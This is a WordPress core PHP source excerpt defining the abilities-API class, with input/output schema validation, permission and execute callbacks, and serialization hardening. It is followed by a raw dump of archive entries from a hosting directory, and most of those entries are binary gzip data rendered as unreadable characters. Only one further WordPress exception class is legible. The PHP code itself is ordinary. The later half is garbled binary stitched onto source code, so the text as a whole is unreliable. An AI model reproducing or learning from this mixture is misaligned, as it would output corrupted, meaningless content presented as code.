	 * @since 6.9.0
	 * @var callable( mixed $input= ): (mixed|WP_Error)
	 */
	protected $execute_callback;

	/**
	 * The optional ability permission callback.
	 *
	 * @since 6.9.0
	 * @var callable( mixed $input= ): (bool|WP_Error)
	 */
	protected $permission_callback;

	/**
	 * The optional ability metadata.
	 *
	 * @since 6.9.0
	 * @var array<string, mixed>
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * Do not use this constructor directly. Instead, use the `wp_register_ability()` function.
	 *
	 * @access private
	 *
	 * @since 6.9.0
	 *
	 * @see wp_register_ability()
	 *
	 * @param string               $name The name of the ability, with its namespace.
	 * @param array<string, mixed> $args {
	 *     An associative array of arguments for the ability.
	 *
	 *     @type string               $label                 The human-readable label for the ability.
	 *     @type string               $description           A detailed description of what the ability does.
	 *     @type string               $category              The ability category slug this ability belongs to.
	 *     @type callable             $execute_callback      A callback function to execute when the ability is invoked.
	 *                                                       Receives optional mixed input and returns mixed result or WP_Error.
	 *     @type callable             $permission_callback   A callback function to check permissions before execution.
	 *                                                       Receives optional mixed input and returns bool or WP_Error.
	 *     @type array<string, mixed> $input_schema          Optional. JSON Schema definition for the ability's input.
	 *     @type array<string, mixed> $output_schema         Optional. JSON Schema definition for the ability's output.
	 *     @type array<string, mixed> $meta                  {
	 *         Optional. Additional metadata for the ability.
	 *
	 *         @type array<string, bool|null> $annotations  {
	 *             Optional. Semantic annotations describing the ability's behavioral characteristics.
	 *             These annotations are hints for tooling and documentation.
	 *
	 *             @type bool|null $readonly    Optional. If true, the ability does not modify its environment.
	 *             @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment.
	 *                                          If false, the ability performs only additive updates.
	 *             @type bool|null $idempotent  Optional. If true, calling the ability repeatedly with the same arguments
	 *                                          will have no additional effect on its environment.
	 *         }
	 *         @type bool                     $show_in_rest Optional. Whether to expose this ability in the REST API. Default false.
	 *     }
	 * }
	 */
	public function __construct( string $name, array $args ) {
		$this->name = $name;

		$properties = $this->prepare_properties( $args );

		foreach ( $properties as $property_name => $property_value ) {
			if ( ! property_exists( $this, $property_name ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %s: Property name. */
						__( 'Property "%1$s" is not a valid property for ability "%2$s". Please check the %3$s class for allowed properties.' ),
						'<code>' . esc_html( $property_name ) . '</code>',
						'<code>' . esc_html( $this->name ) . '</code>',
						'<code>' . __CLASS__ . '</code>'
					),
					'6.9.0'
				);
				continue;
			}

			$this->$property_name = $property_value;
		}
	}

	/**
	 * Prepares and validates the properties used to instantiate the ability.
	 *
	 * Errors are thrown as exceptions instead of WP_Errors to allow for simpler handling and overloading. They are then
	 * caught and converted to a WP_Error when by WP_Abilities_Registry::register().
	 *
	 * @since 6.9.0
	 *
	 * @see WP_Abilities_Registry::register()
	 *
	 * @param array<string, mixed> $args {
	 *     An associative array of arguments used to instantiate the ability class.
	 *
	 *     @type string               $label                 The human-readable label for the ability.
	 *     @type string               $description           A detailed description of what the ability does.
	 *     @type string               $category              The ability category slug this ability belongs to.
	 *     @type callable             $execute_callback      A callback function to execute when the ability is invoked.
	 *                                                       Receives optional mixed input and returns mixed result or WP_Error.
	 *     @type callable             $permission_callback   A callback function to check permissions before execution.
	 *                                                       Receives optional mixed input and returns bool or WP_Error.
	 *     @type array<string, mixed> $input_schema          Optional. JSON Schema definition for the ability's input. Required if ability accepts an input.
	 *     @type array<string, mixed> $output_schema         Optional. JSON Schema definition for the ability's output.
	 *     @type array<string, mixed> $meta                  {
	 *         Optional. Additional metadata for the ability.
	 *
	 *         @type array<string, bool|null> $annotations  {
	 *             Optional. Semantic annotations describing the ability's behavioral characteristics.
	 *             These annotations are hints for tooling and documentation.
	 *
	 *             @type bool|null $readonly    Optional. If true, the ability does not modify its environment.
	 *             @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment.
	 *                                          If false, the ability performs only additive updates.
	 *             @type bool|null $idempotent  Optional. If true, calling the ability repeatedly with the same arguments
	 *                                          will have no additional effect on its environment.
	 *         }
	 *         @type bool                     $show_in_rest Optional. Whether to expose this ability in the REST API. Default false.
	 *     }
	 * }
	 * @return array<string, mixed> {
	 *     An associative array of arguments with validated and prepared properties for the ability class.
	 *
	 *     @type string               $label                 The human-readable label for the ability.
	 *     @type string               $description           A detailed description of what the ability does.
	 *     @type string               $category              The ability category slug this ability belongs to.
	 *     @type callable             $execute_callback      A callback function to execute when the ability is invoked.
	 *                                                       Receives optional mixed input and returns mixed result or WP_Error.
	 *     @type callable             $permission_callback   A callback function to check permissions before execution.
	 *                                                       Receives optional mixed input and returns bool or WP_Error.
	 *     @type array<string, mixed> $input_schema          Optional. JSON Schema definition for the ability's input.
	 *     @type array<string, mixed> $output_schema         Optional. JSON Schema definition for the ability's output.
	 *     @type array<string, mixed> $meta                  {
	 *         Additional metadata for the ability.
	 *
	 *         @type array<string, bool|null> $annotations  {
	 *             Semantic annotations describing the ability's behavioral characteristics.
	 *             These annotations are hints for tooling and documentation.
	 *
	 *             @type bool|null $readonly    If true, the ability does not modify its environment.
	 *             @type bool|null $destructive If true, the ability may perform destructive updates to its environment.
	 *                                          If false, the ability performs only additive updates.
	 *             @type bool|null $idempotent  If true, calling the ability repeatedly with the same arguments
	 *                                          will have no additional effect on its environment.
	 *         }
	 *         @type bool                     $show_in_rest Whether to expose this ability in the REST API. Default false.
	 *     }
	 * }
	 * @throws InvalidArgumentException if an argument is invalid.
	 */
	protected function prepare_properties( array $args ): array {
		// Required args must be present and of the correct type.
		if ( empty( $args['label'] ) || ! is_string( $args['label'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability properties must contain a `label` string.' )
			);
		}

		if ( empty( $args['description'] ) || ! is_string( $args['description'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability properties must contain a `description` string.' )
			);
		}

		if ( empty( $args['category'] ) || ! is_string( $args['category'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability properties must contain a `category` string.' )
			);
		}

		if ( empty( $args['execute_callback'] ) || ! is_callable( $args['execute_callback'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability properties must contain a valid `execute_callback` function.' )
			);
		}

		if ( empty( $args['permission_callback'] ) || ! is_callable( $args['permission_callback'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability properties must provide a valid `permission_callback` function.' )
			);
		}

		// Optional args only need to be of the correct type if they are present.
		if ( isset( $args['input_schema'] ) && ! is_array( $args['input_schema'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability properties should provide a valid `input_schema` definition.' )
			);
		}

		if ( isset( $args['output_schema'] ) && ! is_array( $args['output_schema'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability properties should provide a valid `output_schema` definition.' )
			);
		}

		if ( isset( $args['meta'] ) && ! is_array( $args['meta'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability properties should provide a valid `meta` array.' )
			);
		}

		if ( isset( $args['meta']['annotations'] ) && ! is_array( $args['meta']['annotations'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability meta should provide a valid `annotations` array.' )
			);
		}

		if ( isset( $args['meta']['show_in_rest'] ) && ! is_bool( $args['meta']['show_in_rest'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability meta should provide a valid `show_in_rest` boolean.' )
			);
		}

		// Set defaults for optional meta.
		$args['meta']                = wp_parse_args(
			$args['meta'] ?? array(),
			array(
				'annotations'  => static::$default_annotations,
				'show_in_rest' => self::DEFAULT_SHOW_IN_REST,
			)
		);
		$args['meta']['annotations'] = wp_parse_args(
			$args['meta']['annotations'],
			static::$default_annotations
		);

		return $args;
	}

	/**
	 * Retrieves the name of the ability, with its namespace.
	 * Example: `my-plugin/my-ability`.
	 *
	 * @since 6.9.0
	 *
	 * @return string The ability name, with its namespace.
	 */
	public function get_name(): string {
		return $this->name;
	}

	/**
	 * Retrieves the human-readable label for the ability.
	 *
	 * @since 6.9.0
	 *
	 * @return string The human-readable ability label.
	 */
	public function get_label(): string {
		return $this->label;
	}

	/**
	 * Retrieves the detailed description for the ability.
	 *
	 * @since 6.9.0
	 *
	 * @return string The detailed description for the ability.
	 */
	public function get_description(): string {
		return $this->description;
	}

	/**
	 * Retrieves the ability category for the ability.
	 *
	 * @since 6.9.0
	 *
	 * @return string The ability category for the ability.
	 */
	public function get_category(): string {
		return $this->category;
	}

	/**
	 * Retrieves the input schema for the ability.
	 *
	 * @since 6.9.0
	 *
	 * @return array<string, mixed> The input schema for the ability.
	 */
	public function get_input_schema(): array {
		return $this->input_schema;
	}

	/**
	 * Retrieves the output schema for the ability.
	 *
	 * @since 6.9.0
	 *
	 * @return array<string, mixed> The output schema for the ability.
	 */
	public function get_output_schema(): array {
		return $this->output_schema;
	}

	/**
	 * Retrieves the metadata for the ability.
	 *
	 * @since 6.9.0
	 *
	 * @return array<string, mixed> The metadata for the ability.
	 */
	public function get_meta(): array {
		return $this->meta;
	}

	/**
	 * Retrieves a specific metadata item for the ability.
	 *
	 * @since 6.9.0
	 *
	 * @param string $key           The metadata key to retrieve.
	 * @param mixed  $default_value Optional. The default value to return if the metadata item is not found. Default `null`.
	 * @return mixed The value of the metadata item, or the default value if not found.
	 */
	public function get_meta_item( string $key, $default_value = null ) {
		return array_key_exists( $key, $this->meta ) ? $this->meta[ $key ] : $default_value;
	}

	/**
	 * Normalizes the input for the ability, applying the default value from the input schema when needed.
	 *
	 * When no input is provided and the input schema is defined with a top-level `default` key, this method returns
	 * the value of that key. If the input schema does not define a `default`, or if the input schema is empty,
	 * this method returns null. If input is provided, it is returned as-is.
	 *
	 * @since 6.9.0
	 *
	 * @param mixed $input Optional. The raw input provided for the ability. Default `null`.
	 * @return mixed The same input, or the default from schema, or `null` if default not set.
	 */
	public function normalize_input( $input = null ) {
		if ( null !== $input ) {
			return $input;
		}

		$input_schema = $this->get_input_schema();
		if ( ! empty( $input_schema ) && array_key_exists( 'default', $input_schema ) ) {
			return $input_schema['default'];
		}

		return null;
	}

	/**
	 * Validates input data against the input schema.
	 *
	 * @since 6.9.0
	 *
	 * @param mixed $input Optional. The input data to validate. Default `null`.
	 * @return true|WP_Error Returns true if valid or the WP_Error object if validation fails.
	 */
	public function validate_input( $input = null ) {
		$input_schema = $this->get_input_schema();
		if ( empty( $input_schema ) ) {
			if ( null === $input ) {
				return true;
			}

			return new WP_Error(
				'ability_missing_input_schema',
				sprintf(
					/* translators: %s ability name. */
					__( 'Ability "%s" does not define an input schema required to validate the provided input.' ),
					esc_html( $this->name )
				)
			);
		}

		$valid_input = rest_validate_value_from_schema( $input, $input_schema, 'input' );
		if ( is_wp_error( $valid_input ) ) {
			return new WP_Error(
				'ability_invalid_input',
				sprintf(
					/* translators: %1$s ability name, %2$s error message. */
					__( 'Ability "%1$s" has invalid input. Reason: %2$s' ),
					esc_html( $this->name ),
					$valid_input->get_error_message()
				)
			);
		}

		return true;
	}

	/**
	 * Invokes a callable, ensuring the input is passed through only if the input schema is defined.
	 *
	 * @since 6.9.0
	 *
	 * @param callable $callback The callable to invoke.
	 * @param mixed    $input    Optional. The input data for the ability. Default `null`.
	 * @return mixed The result of the callable execution.
	 */
	protected function invoke_callback( callable $callback, $input = null ) {
		$args = array();
		if ( ! empty( $this->get_input_schema() ) ) {
			$args[] = $input;
		}

		return $callback( ...$args );
	}

	/**
	 * Checks whether the ability has the necessary permissions.
	 *
	 * Please note that input is not automatically validated against the input schema.
	 * Use `validate_input()` method to validate input before calling this method if needed.
	 *
	 * @since 6.9.0
	 *
	 * @see validate_input()
	 *
	 * @param mixed $input Optional. The valid input data for permission checking. Default `null`.
	 * @return bool|WP_Error Whether the ability has the necessary permission.
	 */
	public function check_permissions( $input = null ) {
		if ( ! is_callable( $this->permission_callback ) ) {
			return new WP_Error(
				'ability_invalid_permission_callback',
				/* translators: %s ability name. */
				sprintf( __( 'Ability "%s" does not have a valid permission callback.' ), esc_html( $this->name ) )
			);
		}

		return $this->invoke_callback( $this->permission_callback, $input );
	}

	/**
	 * Executes the ability callback.
	 *
	 * @since 6.9.0
	 *
	 * @param mixed $input Optional. The input data for the ability. Default `null`.
	 * @return mixed|WP_Error The result of the ability execution, or WP_Error on failure.
	 */
	protected function do_execute( $input = null ) {
		if ( ! is_callable( $this->execute_callback ) ) {
			return new WP_Error(
				'ability_invalid_execute_callback',
				/* translators: %s ability name. */
				sprintf( __( 'Ability "%s" does not have a valid execute callback.' ), esc_html( $this->name ) )
			);
		}

		return $this->invoke_callback( $this->execute_callback, $input );
	}

	/**
	 * Validates output data against the output schema.
	 *
	 * @since 6.9.0
	 *
	 * @param mixed $output The output data to validate.
	 * @return true|WP_Error Returns true if valid, or a WP_Error object if validation fails.
	 */
	protected function validate_output( $output ) {
		$output_schema = $this->get_output_schema();
		if ( empty( $output_schema ) ) {
			return true;
		}

		$valid_output = rest_validate_value_from_schema( $output, $output_schema, 'output' );
		if ( is_wp_error( $valid_output ) ) {
			return new WP_Error(
				'ability_invalid_output',
				sprintf(
					/* translators: %1$s ability name, %2$s error message. */
					__( 'Ability "%1$s" has invalid output. Reason: %2$s' ),
					esc_html( $this->name ),
					$valid_output->get_error_message()
				)
			);
		}

		return true;
	}

	/**
	 * Executes the ability after input validation and running a permission check.
	 * Before returning the return value, it also validates the output.
	 *
	 * @since 6.9.0
	 *
	 * @param mixed $input Optional. The input data for the ability. Default `null`.
	 * @return mixed|WP_Error The result of the ability execution, or WP_Error on failure.
	 */
	public function execute( $input = null ) {
		$input    = $this->normalize_input( $input );
		$is_valid = $this->validate_input( $input );
		if ( is_wp_error( $is_valid ) ) {
			return $is_valid;
		}

		$has_permissions = $this->check_permissions( $input );
		if ( true !== $has_permissions ) {
			if ( is_wp_error( $has_permissions ) ) {
				// Don't leak the permission check error to someone without the correct perms.
				_doing_it_wrong(
					__METHOD__,
					esc_html( $has_permissions->get_error_message() ),
					'6.9.0'
				);
			}

			return new WP_Error(
				'ability_invalid_permissions',
				/* translators: %s ability name. */
				sprintf( __( 'Ability "%s" does not have necessary permission.' ), esc_html( $this->name ) )
			);
		}

		/**
		 * Fires before an ability gets executed, after input validation and permissions check.
		 *
		 * @since 6.9.0
		 *
		 * @param string $ability_name The name of the ability.
		 * @param mixed  $input        The input data for the ability.
		 */
		do_action( 'wp_before_execute_ability', $this->name, $input );

		$result = $this->do_execute( $input );
		if ( is_wp_error( $result ) ) {
			return $result;
		}

		$is_valid = $this->validate_output( $result );
		if ( is_wp_error( $is_valid ) ) {
			return $is_valid;
		}

		/**
		 * Fires immediately after an ability finished executing.
		 *
		 * @since 6.9.0
		 *
		 * @param string $ability_name The name of the ability.
		 * @param mixed  $input        The input data for the ability.
		 * @param mixed  $result       The result of the ability execution.
		 */
		do_action( 'wp_after_execute_ability', $this->name, $input, $result );

		return $result;
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the ability object is unserialized.
	 *                        This is a security hardening measure to prevent unserialization of the ability.
	 */
	public function __wakeup(): void {
		throw new LogicException( __CLASS__ . ' should never be unserialized.' );
	}

	/**
	 * Sleep magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the ability object is serialized.
	 *                        This is a security hardening measure to prevent serialization of the ability.
	 */
	public function __sleep(): array {
		throw new LogicException( __CLASS__ . ' should never be serialized.' );
	}
}
PKYO\	
��10/feed-atom.php.php.tar.gznu�[�����W[o�6��+N�v�F���iڢ�c���d���J�@Ru�u�}�P7߲4A��!�也�;��17�2J�(�)�Dg��.Ny�eĔ3�ZdN�O�^M&G��h�j�d�r4���^��q�j2���Ξ�J��.�
_���]`Gm��Ć����5,XV��f	W�e��U%q%�V@�pP��A�5X1�U��J2�p׵mׅ�"�kHE��B�n��0�����,@���/W���}x��V�p��˶DL��;�k���Ŧ`S�c���j�׸�RU��@��$���	���E���Qj���_���вd��Y&$���m�����wq���I�������塈�(��m�)��I��}���E�!)~�DXf�֞�p�=�Ԙ�GU��_�#�u���/ڼ�틹푢maܹ�������kg}��r���K��٫��:��`Q�Ԉ�M�0 .
`\���LӀ�7ʙ��1&���J��sT��f�,��DV@c#1�U�A
�A�� c
ƔC�F���1;CgH.bf�.T?W�c��5�)BȬ�ٵ�ͫ�ׅo�L�&X�5����Mz{	c�B�
�=�ў�h�,"dTTk\h~�%O#����o��i�y�qʧ��ﭱF�l�<�
���^�j&s<��!
�&�!G��V�7c�[1�������
w���B;�)��MLAQ�
�H�g�n$��s|d���
KG	41���AY$7wC
���Z'�=�$���&݀f�Զ,tfv*B��_���R'B�G�#��#�ꨁ�94bUr����j��!LtZ~�t�����Zo���ZG.J��3Ya�*�&(d%�� VU~k��T���,���W>�&X�
�V#Μ15ªZa6���dk2�ܦ��e��Ur-�;#K�~z��rq��+�Ͽ|٢�C�ʠ��, �[qU��"	�J
��t� �^<1ǹ�yvdb�7���@�恧����΂]��$��f+!7ui��UL��̲@n��4v2Y轶�+�F����EL�c�Z�b
=���pkT@w�2P���y�;v+c򨏻jV�k
W���P�d3�j^�-�f�c�l<��5�hX\�j�PuC��SE�y�-�U���vS,oGf=���%^L=<�~j"@Ӊ����u��� ���(o���|�t�j��[��o0�jMz�
���A�O�j����N��:k��mhN=���������z\���PKYO\�J���:10/class-wp-html-active-formatting-elements.php.php.tar.gznu�[�����Y�o7�W��,�ZIN|9�5F��Ҟ���A P������r�
9��73$W+Y��Ĺ�E"[$�߼֩��^
&��^^�2S;�z�<�*��D=\�x.{qƋ"�-�[y#��63n�T�Hdb&�-�y��O�7GG/֟>=�o��/�zxt��?z݇�Wo^�����<ea���	Y�����f���&{�~���=;��8fחC�2<'�<<|�=�
@��osO�D�km�K#h��-�Q�@n�v�,��t��}��k�?j#_V"a����e��1�Ն%�E�*7�l�ĀB6�Op����1s0eK��
�^��T�1�/'
�#K��0�g��f���P�J�e��da����,���g`q��n5K�J2�f���(�Sh��|R8j��*���\��&L�Z5&1�b�
���zf*��F��
��`%*1O�b͂,x�g�v��S��H�(��8&n��0H�Fq�b�[�U��[E!��7���=c�L�)|k�s�,�{]Рn��x�H��0�㴲�7�v�:F�J@��%'�I���S0 bk�J�.-�s��x��

�x�{i��,�s�F"�&6x�s�c�’�E��Z�����Y���,�6/�{��E.����']m&����?��+F!�\�8�PwA�Cz��l`Vh`Z�YR��̈�0.>bb�b�j�J�+���O��k6�Y؞�w�4|�>8i.�� rm0�@�v�c3��~�H�)=�%d8>[Փ�9g��z�"��ܮc`�-
`F�]��Єg*C%_�5Z�@��)�B�"�f�з
`J�ՆeP?�y6�y����I^�&n{�h��bZ*>���̝]��
{kJq��M�߬6�<+p�vŵ�U�Tϱ�,�>.	ƥ��l���@.��$����.)�m;{xQn)��>��(�ic�w���Q��j�B�(��N*`�/Q�Y���V�/$d�9$�;��E�U
��`��%T�J�M�u`pXwޫ�A�kݵ����X�~L��rAe��Z�:�6xf{�Z��+}�IJ}�j}c�b��֊-����&rv��ο9tn@������ٍ����E^i�|�m�~��;���U���C�`~r��h�'JM�̓�G(2���.�
/T+j�7�/��8=���q�gP�l�
�v�Yޡ��c�Kj��ǹ�da� �A���s[�-�(�㺺��P�:5�V�}0[	Bx��9*-���iQ�]g���d
V�����+1z�O�|@e^�\�p�OM��԰�xB�SMY�9^�2����APhr���B�ٹ^�_�PM0�lI�H���룃��Kԍ��il�AN��r��ube*��C�G�->���E�F�0 Z|��qO�@�#~,��KT��Չf������4O�vn�8�B6ma6�
z_X�3��&�	�S1ȦT'6Ay-�\�5z=P�xV3�޽�4����'��.(��*�U`���!լʥ�@�"��K[kb��ڬ�p�/y��6�9��l�Vq���{����m�_���8HU���&_�YB)��h�f;$F4�
��!V۪�:��C*�wƀm��V��t��I�{IBq)���꼊�6�&�@��4�+H�蹚s�TA���;�ee	rzW5Jn!�.��ڋ+`1���w��h�L�|��ݟ�q���V{����
Nk��N����)�����t
jd'�5��G��Ó�#�T��gڌ�I �eр���o���ݯ���Շ���3�vK�h�嫖��~Ĉ؍lΚ���`,owz7�������UPݟ�6�p�<nl@�����\8�}%���S���߇�[H�%+���'��o�r����0/�{@N!��*�>��W!N��d�]��\��v@}<��2�W����q�E_��aT4Ů]{�V���T|Zӂ�d$2=��G	�"���9�(�QBÄ�60��0�� �_��h�C�;z�����C�Y`4T\ۘ��j�;��6�6����fv_uC��8m�xM/�9vI�nw�rI�q6�@>s�7 �s-��.���ԑr��3D�s���~ָ��>bܝ���9�����S�}Gbw��2�´�}���5�z�,6�Zx��U�T�:��B�7��D�uk�ʪ�o"�����������<?���7Գ�$PKYO\��)L>>+10/class.wp-styles.php.wp-styles.php.tar.gznu�[�����]K�0�w�_q��Fׯu8A�D
�2d���.&-�7-�P�L/ԋ>Ix9�o������"P�F
F�������Ɇ�	���V1��D�B
'��I�Wo��� �FIOfi�X=����od����T��������Y:�h�.Qaűb
,���9Yv#�nlQ[�*��{!��Qid�F�Ac�O�3~�8.���H���v�s�ԏ��e��a��<��e�CvŤ��l�����E�uv{E=p;'׳dw��/ù�v���6K�S#4�m���|���F_Ν��hOOO�a���3PKYO\��)�.10/class-wp-html-unsupported-exception.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-unsupported-exception.php000064400000007026151440300300025326 0ustar00<?php
/**
 * HTML API: WP_HTML_Unsupported_Exception class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for indicating that a given operation is unsupported.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * The HTML API aims to operate in compliance with the HTML5
 * specification, but does not implement the full specification.
 * In cases where it lacks support it should not cause breakage
 * or unexpected behavior. In the cases where it recognizes that
 * it cannot proceed, this class is used to abort from any
 * operation and signify that the given HTML cannot be processed.
 *
 * @since 6.4.0
 * @since 6.7.0 Gained contextual information for use in debugging parse failures.
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Unsupported_Exception extends Exception {
	/**
	 * Name of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * This does not imply that the token itself was unsupported, but it
	 * may have been the case that the token triggered part of the HTML
	 * parsing that isn't supported, such as the adoption agency algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token_name;

	/**
	 * Number of bytes into the input HTML document where the parser was
	 * parsing when the exception was raised.
	 *
	 * Use this to reconstruct context for the failure.
	 *
	 * @since 6.7.0
	 *
	 * @var int
	 */
	public $token_at;

	/**
	 * Full raw text of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * Whereas the `$token_name` will be normalized, this contains the full
	 * raw text of the token, including original casing, duplicated attributes,
	 * and other syntactic variations that are normally abstracted in the HTML API.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token;

	/**
	 * Stack of open elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $stack_of_open_elements = array();

	/**
	 * List of active formatting elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $active_formatting_elements = array();

	/**
	 * Constructor function.
	 *
	 * @since 6.7.0
	 *
	 * @param string   $message                    Brief message explaining what is unsupported, the reason this exception was raised.
	 * @param string   $token_name                 Normalized name of matched token when this exception was raised.
	 * @param int      $token_at                   Number of bytes into source HTML document where matched token starts.
	 * @param string   $token                      Full raw text of matched token when this exception was raised.
	 * @param string[] $stack_of_open_elements     Stack of open elements when this exception was raised.
	 * @param string[] $active_formatting_elements List of active formatting elements when this exception was raised.
	 */
	public function __construct( string $message, string $token_name, int $token_at, string $token, array $stack_of_open_elements, array $active_formatting_elements ) {
		parent::__construct( $message );

		$this->token_name = $token_name;
		$this->token_at   = $token_at;
		$this->token      = $token;

		$this->stack_of_open_elements     = $stack_of_open_elements;
		$this->active_formatting_elements = $active_formatting_elements;
	}
}
PKYO\�)�|cc'10/class-wp-html-decoder.php.php.tar.gznu�[�����<]o�uy��uV%��H��E��.���l�'Y,ȫ�%9�p���R�EZ��m�"i�<(���-�(��!�b�@�zιs�R��M���E�9���}�9�rG�Xl��'�K�u��x�m�&�w�i_D�8P�w��x����EX��&�Y��ٯT2�K�J��_�Ny�\��vK�r�wvv��Xiҏ�L�����b�����OAy��m?xp�=`�;/NX�U���~��/݆T1#�Bɱ�E�G,���X,�c6�~��~�D�~,����~6��>�u�_��p�Ϣ�~��
@�l��_,���{D�m_�[C��`F����8w���x���4�{S�P�q�fn<b�
�+����C	TDL��",��x�Y���E8v}�H�y�!7C�;n̘��;��R0�#G(A�C����s�C��Fq<9�P�^�C1�|a��{�=4#N��QO�m|r�p$Qi��O��6�he6�
��y�o�D6�k>�x���.�p�rֺ��3P6�p��;2�qЌ�+���H�+e�E�n�%�r��|���G#rc{�m%�����u�;,D��,�Nx�����G �����\�@WᮏA�d�~� ۟��b�H��u��i�
�-�N����O<XZ��D�lw5�n|�N'���+�W�K�N�� �v^o�B��H�m��Ȭw��>�b��%�������.��c�G�,v)��\�\�Pm�[�� ���g0�d�-���|J��/P϶%����tO�C �ɂϛiŢ���{A�I��A��F�@	��twm{5c�r)�8�6u�J��4N�0<��`	���1��kc��f?fiR�Hk�Έ�Q���[�۵O��"�L�͟�q�P)XK��۔0�>\��Ĺ�`mݍ���A��r6���=�i>��:���F
:�Gs-���a(x���lH�PD���C�f
1˶MkA�o��5����'Y��f�:H(r�!f�bf-���C�]�����g��T߀�nkk�mn�:R �`�YJ��֔oS'I��;� �4�@�E�����O������f��-�#=f�C�`�w��Nc�ʼn"y�[��hcHa��p�F�{6☌y`���8IR�D:�`��G��^‹��!��@���=�DK8[y�UA6�k���O�;bF�a��i��p�hR^��8m�ҩ���8�d�$j�������ޠn���:���t�Gi0n�����dD꬏5j���6�(�tAo�Z�0Eb8��/R�6�Cg�!%�1�<q�أ���Y�U� �;�?i2�	9�"(�d�m�	�l��>n�����k&�Ifl6G��1&ٲ TF��P�C��r�q?p�c*V����������}��Os���\������h�nu��-�K�P��w�FD��,�c��ⳓ4�gY+8Z�&?Q
���*$2��6���"��PH)�2_&&-'k�`�<�C����Y�ف�=U�y`6�J���c�H�S�rX�!![�5e�2���J�C�M��P�۬ő�O	@S�~8
b;�H6k�mv>C���U��j���c��4'ӈu���xT�X���'�k�"���S���W׍!� +��m�vh�Z���j�	m\P�x�](4��bʞ��&��E]��"k#Y�0�rQ
�TQEXR���	��`���u�nB�lcC��ڐ��?��v�I�A�?�9���r�r�^�X,�^���W�x�ub��`��!)=
fn�]!�ҘCo;��hS!��q�;��Zl��|�ɯkׄ�!G�Uh,U�Y����Li6��;E�,��KeAuΧ�&A�C%��q���ek�ΐ3q�$��+�[πDžo)r��_��B��P�F��7Y&I�j�Vs)�{���Ϋ��f���"(51���41��n�|�uE�u�|K_U)@j�DI��ip
8gQw���ط�o�c.���X�'�I53�$V_�N���f�K(?lh���*�\�1��R��ć܏<�|Cf5#E�]M �	0�KT�ɲ�:G�˛X(���-a��K������O��Z�$'�M�:���H��D�E���&�I�S�[�޿�$(-�iA��N�{%d:�3JS��~�Fd
�莭��ȝD#,L�`�dw�!M�enI��C��
<j����ifP
�4��G��p���_��7�\b&����*�%��\����d$��4Un���M唦棊(;�z�%����x�'l�k��>�L:#Ppˆ�,dn�tVX�N��dm��Yχ�r���d�O���)DQ�3���P&ܴƥ�ت��3
��i�H�,me���ƭu���/�%p������*N�ٝ�V��s�S�X.��AY��[��|8�@_��@��B=�߻%w~�l��Wp�,��P*��-���u�����h"0��|��	�ů/%5��Ȱ	���	���ؒ��d�N��d�>�y���L�N�V\�gA;�I��A���P��0����*���B�u.oL������!��&a7�_q�㗞���Bf
y�q�{R~T:�m
$*p*�Ü�&��_�ԣ|��G���r
�o�`FG�0�S)Pt������g��
8�y$��J�t�*�[E�&���:B�9#����ozƤ�V?Q�M�V�.�f-k�ɰ�y��N������TkX��A�)���.��@�H���TD�C'I�u�����-�}o�kS�)*���x���o�1A�]*��V��T������h�r
~̯5����i3F��Z�CC���S�9KIx�H(���/}�R�>�meͮ���g�K�G����7v�Pr#�T�D�A�?��zn���tJ�H�.�W9`�-̚c5��!��T��c�f�x9�Cf�}����n$�.�@!3��=6���rGs�bC��Y����K{=ђ���,���9U��[7�=�
351TmwJ2L���R[���E�ڏ�1,�vIj0��w��7�٬\�8[���X!iD(�r�rK�?�+��#��6'O�fPr�t�Q
��S�>a�}L��S�9��Xb��9IJ#�������!�Fd��-eO���v��!<�ץF�4���Mj�XW�lr��g��%��	���$��3�d��=�5G�!���H��(�p҂�7��i�^	:����V3/���oY��Ȏ١����~��a+z��G��Ȟ٧;~�H�>�#z�@�T�Hu���~SӰO��S=R�#u=Ҙ����45lS��laIi���Ҋ�F}5V/�IuPU\<,)ݕ
�xwB^ڲ�G_
�U��T�����S#MN�R>�z�ޘp	y�Bgx_�5����cJ��<�0,�lI\˛l��M�f�p�Йߚ<�WB%�eA�s,|7N��Y$����]�b4N/[̆t���k��֓
X��^��"�p�AwM��/��N�"�B4��3By]��YT(���!������>(���#�	�i[T��xr�,��S��'��E�b�Nz��E�zݥ�L04�naI�M�X���P��U��3pե�uuˏ�f1?��B/�K�%�P�R^u�4�O�k%Emf{��=$�냒�V�?��j+ٮfR�]�qw,�U�*x�MY+]�j����ּ8;e��g/�������<(�aϒ�eܔ7� $@;�rMc�A���g'Mvr��Pe|qکuڧ/ً�����.�Z*Ww��]�z�/����	;iv:�3�b�۝���)�ϿJ��ԓ+8�qz�tźoO���S�p��ӳ�N_vj'�yr�~u�>�)�LM)�)��Z��3 ��!U�P�,��[���
